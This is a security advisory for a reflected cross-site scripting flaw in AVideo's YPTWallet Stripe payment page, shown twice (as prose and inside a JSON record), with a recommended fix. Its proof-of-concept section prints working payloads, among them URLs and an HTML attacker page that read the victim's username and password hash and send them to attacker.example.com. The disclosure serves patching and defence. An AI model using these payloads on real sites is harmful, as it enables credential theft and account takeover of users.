GHSA-PM37-62G7-P768
Vulnerability from github – Published: 2026-03-30 18:08 – Updated: 2026-03-30 18:08Summary
The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
"plugin": ""}})});alert(document.domain);console.log({/*",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
// The confirmButton.php page outputs user/pass in the script block.
// XSS lets us read it directly.
var payload = encodeURIComponent(
'",x:(function(){' +
'var s=document.querySelector("script").textContent;' +
'var u=s.match(/"user":"([^"]+)"/)[1];' +
'var p=s.match(/"pass":"([^"]+)"/)[1];' +
'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
'})(),y:"'
);
window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>
Reproduction steps:
- Navigate to the basic XSS URL above (substitute your target instance).
- Observe the JavaScript alert box confirming code execution.
- View the page source to confirm that
User::getUserName()andUser::getUserPass()are present in the same script block. - Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
- Session hijacking: Steal session cookies and impersonate the victim.
- Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
- Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected)
- Severity: High (CVSS 8.1)
Recommended Fix
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34375"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T18:08:52Z",
"nvd_published_at": "2026-03-27T19:16:43Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.\n\nThe same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials.\n\n## Details\n\nThe Stripe confirmation page renders the `plugin` parameter directly into a `\u003cscript\u003e` block:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n\"plugin\": \"\u003c?php echo @$_REQUEST[\u0027plugin\u0027]; ?\u003e\",\n```\n\nThis appears inside a `$.ajax()` data object within a `\u003cscript\u003e` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.\n\nThe `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified.\n\nImmediately adjacent to the injection point, the script also exposes user credentials:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118\n\"user\": \"\u003c?php echo User::getUserName() ?\u003e\",\n\"pass\": \"\u003c?php echo User::getUserPass(); ?\u003e\",\n```\n\nNo Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.\n\n## Proof of Concept\n\nThe XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*\n```\n\nThe injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block:\n\n```javascript\n\"plugin\": \"\"}})});alert(document.domain);console.log({/*\",\n```\n\nCredential exfiltration payload:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\",x:fetch(\u0027https://attacker.example.com/steal?\u0027+document.querySelector(\u0027script\u0027).textContent.match(/pass.*?\"(.*?)\"/)[1]),y:\"\n```\n\nSimplified credential theft using the same-page credential leak:\n\n```html\n\u003c!-- Host this on attacker.example.com and send the link to a victim --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n // The confirmButton.php page outputs user/pass in the script block.\n // XSS lets us read it directly.\n var payload = encodeURIComponent(\n \u0027\",x:(function(){\u0027 +\n \u0027var s=document.querySelector(\"script\").textContent;\u0027 +\n \u0027var u=s.match(/\"user\":\"([^\"]+)\"/)[1];\u0027 +\n \u0027var p=s.match(/\"pass\":\"([^\"]+)\"/)[1];\u0027 +\n \u0027new Image().src=\"https://attacker.example.com/log?u=\"+u+\"\u0026p=\"+p;\u0027 +\n \u0027})(),y:\"\u0027\n );\n window.location = \"https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\" + payload;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nReproduction steps:\n\n1. Navigate to the basic XSS URL above (substitute your target instance).\n2. Observe the JavaScript alert box confirming code execution.\n3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block.\n4. Use the credential exfiltration payload to demonstrate data theft.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:\n\n- **Immediate credential theft**: The page already renders the victim\u0027s username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.\n- **Session hijacking**: Steal session cookies and impersonate the victim.\n- **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.\n- **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay.\n\nThe lack of CSP headers means there are no browser-side mitigations against the injected scripts.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - Reflected)\n- **Severity**: High (CVSS 8.1)\n\n## Recommended Fix\n\nApply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n// Before:\n\"plugin\": \"\u003c?php echo @$_REQUEST[\u0027plugin\u0027]; ?\u003e\",\n\n// After:\n\"plugin\": \"\u003c?php echo htmlspecialchars(@$_REQUEST[\u0027plugin\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\",\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-pm37-62g7-p768",
"modified": "2026-03-30T18:08:52Z",
"published": "2026-03-30T18:08:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34375"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.